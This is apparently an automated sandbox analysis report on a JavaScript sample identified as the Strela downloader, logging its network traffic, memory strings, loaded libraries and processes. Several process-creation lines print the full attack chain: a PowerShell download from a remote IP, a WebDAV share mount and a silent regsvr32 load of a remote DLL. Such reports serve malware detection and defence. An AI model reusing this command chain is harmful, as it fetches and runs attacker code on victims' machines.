IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49740 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: wscript.exe, 00000000.00000003.1296116940.0000017CD29A9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1296573091.0000017CD473D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1297565114.0000017CD4741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1386072699.000002347BD9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1386072699.000002347BD78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1386072699.000002347BDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1386072699.000002347BDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9xB
Source: net.exe, 00000007.00000002.1386072699.000002347BDCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000002.1386072699.000002347BDAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Qx
Source: net.exe, 00000007.00000002.1386072699.000002347BD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2578331410.000001E697000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1388274648.000001E696E30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7384, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 11267230832782128009.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/62@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkricmg4.brp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 11267230832782128009.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1764,i,16356598538612357135,8873104623319308209,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1764,i,16356598538612357135,8873104623319308209,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
